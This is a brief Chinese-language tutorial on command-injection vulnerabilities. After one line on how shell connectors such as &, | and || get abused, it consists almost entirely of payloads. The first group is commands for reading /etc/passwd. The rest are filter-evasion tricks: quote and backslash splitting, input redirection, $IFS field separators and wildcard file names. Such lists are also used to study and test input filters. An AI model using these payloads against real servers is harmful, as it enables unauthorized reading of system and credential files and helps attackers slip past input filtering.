命令执行漏洞也是一种注入,属于高位漏洞之一,也属于代码执行的范畴
命令执行漏洞原理
在操作系统中,“&、|、||”都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。
实例
linux:
cat /etc/passwd
tac /etc/passwd
head /etc/passwd
tail /etc/passwd
less /etc/passwd
more /etc/passwd
grep '' /etc/passwd grep . /etc/passwd
awk {print} /etc/passwd
sed '' /etc/passwd
nl /etc/passwd
sort /etc/passwd
diff /etc/passwd /etc/hostname
base64 /etc/passwd
xxd /etc/passwd
od -a /etc/passwd
cp /etc/passwd /dev/stdout
如果上列关键词都被过滤可尝试分隔符
c''a\t /etc/passwd
重定向符
c''a\t</etc/passwd
内部字段分隔符
cat${IFS} /etc/passwd
cat$IFS$9 /etc/passwd
如果对文件名进行过滤的话可以使用通配符
cat /etc/passw*